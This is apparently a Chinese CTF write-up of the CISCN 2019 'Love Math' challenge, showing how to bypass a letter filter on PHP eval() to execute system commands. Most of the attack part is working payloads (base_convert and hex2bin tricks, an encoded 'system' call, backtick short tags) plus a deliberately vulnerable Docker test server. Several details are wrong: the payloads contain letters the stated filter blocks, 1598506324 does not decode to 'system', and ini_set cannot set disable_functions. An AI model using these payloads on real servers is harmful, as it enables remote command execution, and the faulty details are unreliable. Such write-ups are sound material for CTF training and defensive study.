PHP代码审计:利用进制转换绕过过滤实现命令执行
1. 题目背景与核心考点解析
[CISCN 2019 初赛]Love Math是一道经典的PHP代码审计题目,主要考察选手对PHP弱类型比较、进制转换函数以及字符串动态执行的深入理解。题目要求通过构造特定的数学表达式,绕过过滤机制实现命令执行。
这道题的核心在于利用PHP的以下特性:
- base_convert()函数实现数字与字符串的转换
- hex2bin()和dechex()的进制转换特性
- PHP动态执行字符串的特性(如$c($d)形式的可变函数调用)
2. 题目源码分析与过滤机制
根据历年CISCN赛事资料,我们可以还原出题目的大致源码结构:
<?php error_reporting(0); if(!isset($_GET['c'])){ show_source(__FILE__); }else{ $c = $_GET['c']; if(!preg_match('/[a-zA-Z]/is', $c)){ @eval("$c"); }else{ die("非法字符!"); } } ?>过滤规则的关键点:
- 禁止出现任何大小写字母
- 允许数字和部分特殊符号
- 通过eval动态执行输入的表达式
3. 利用进制转换构造payload
3.1 核心思路:无字母命令执行
由于直接使用函数名会被过滤,我们需要通过以下步骤构造payload:
- 将函数名转换为纯数字形式
- 在运行时将数字转换回可执行的函数名
- 组合参数实现命令执行
3.2 具体实现步骤
步骤1:选择目标函数
我们需要执行系统命令,常见选择:
- system()
- exec()
- shell_exec()
以system为例,我们需要将其转换为纯数字形式。
步骤2:字符串到数字的转换
使用base_convert()函数:
$f = base_convert('system', 36, 10); // 将'system'从36进制转为10进制 echo $f; // 输出:1751504350步骤3:数字还原为函数名
$f = base_convert(1751504350, 10, 36); // 将数字转回36进制 echo $f; // 输出:system步骤4:组合完整payload
最终构造的GET参数:
?c=$_=base_convert(1751504350,10,36);$_($_GET[1]);&1=whoami分解说明:
- $=base_convert(1751504350,10,36) → $="system"
- $_($_GET[1]) → system($_GET[1])
- &1=whoami → 传入执行的命令
4. 替代方案与进阶技巧
4.1 使用hex2bin+dechex组合
另一种实现方式:
$f = hex2bin(dechex(1598506324)); // 1598506324是'system'的十进制表示对应payload:
?c=$_=hex2bin(dechex(1598506324));$_($_GET[1]);&1=ls4.2 直接构造函数调用
更简洁的payload构造:
?c=(base_convert(1751504350,10,36))($_GET[1]);&1=id4.3 利用PHP短标签
某些环境下可以使用:
?c=<?=`$_GET[1]`?>&1=whoami5. 防御方案与安全建议
5.1 代码层面防御
- 严格过滤所有输入参数
if(preg_match('/[a-z0-9]/i', $c)){ die("非法输入!"); }- 禁用危险函数
ini_set('disable_functions', 'system,exec,shell_exec,passthru');5.2 系统层面防护
- 配置open_basedir限制目录访问
- 设置安全的php.ini配置
- 使用Docker等容器技术进行隔离
6. 相关函数深度解析
6.1 base_convert()详解
string base_convert ( string $number , int $frombase , int $tobase )- 支持2-36进制转换
- 最大支持36进制(a-z表示10-35)
- 转换精度受限于系统环境
6.2 hex2bin()与dechex()
string hex2bin ( string $data ) string dechex ( int $number )- hex2bin将16进制字符串转换为二进制数据
- dechex将10进制数转换为16进制字符串
- 组合使用可实现数字到字符串的转换
7. 实战演练与测试用例
7.1 测试环境搭建
docker run -d -p 8080:80 --name ctf php:7.2-apache echo '<?php eval($_GET["c"]);?>' > /var/www/html/index.php7.2 测试payload集
- 查看当前用户
?c=$_=base_convert(1751504350,10,36);$_($_GET[1]);&1=whoami- 列出目录文件
?c=(hex2bin(dechex(1598506324)))($_GET[1]);&1=ls+-la- 读取系统信息
?c=$_=base_convert(696468,10,36);$_($_GET[1]);&1=uname+-a8. 常见问题排查
8.1 payload不生效的可能原因
- PHP版本差异(不同版本进制转换结果可能不同)
- 魔术引号开启导致引号被转义
- 安全模块拦截(如disable_functions)
8.2 调试技巧
- 先测试简单数学表达式确认eval可用
?c=phpinfo();- 逐步构建payload组件
- 使用var_dump输出中间结果
9. 同类题型扩展
9.1 无数字字母webshell
利用PHP的位运算和特殊符号构造:
?c=~%8C%86%8C%8B%9A%92($_GET[1]);&1=ls9.2 限制更严格的场景
当仅允许数字和少量符号时:
?c=$_=1;$_=++$_;$__=++$_;$___=++$_;$____=++$_;$_=_.$__.$___.$____;$_($_GET[1]);&1=whoami10. PHP安全编程建议
- 永远不要直接使用eval执行用户输入
- 使用白名单而非黑名单进行过滤
- 对系统命令执行进行严格的参数校验
- 定期更新PHP版本修复已知漏洞
- 使用专业的代码审计工具检查安全隐患
在实际开发中,应当避免使用eval、system等危险函数,必要时可以使用escapeshellarg等函数对参数进行严格过滤。对于必须使用动态执行的场景,建议使用call_user_func等更安全的替代方案,并配合严格的权限控制。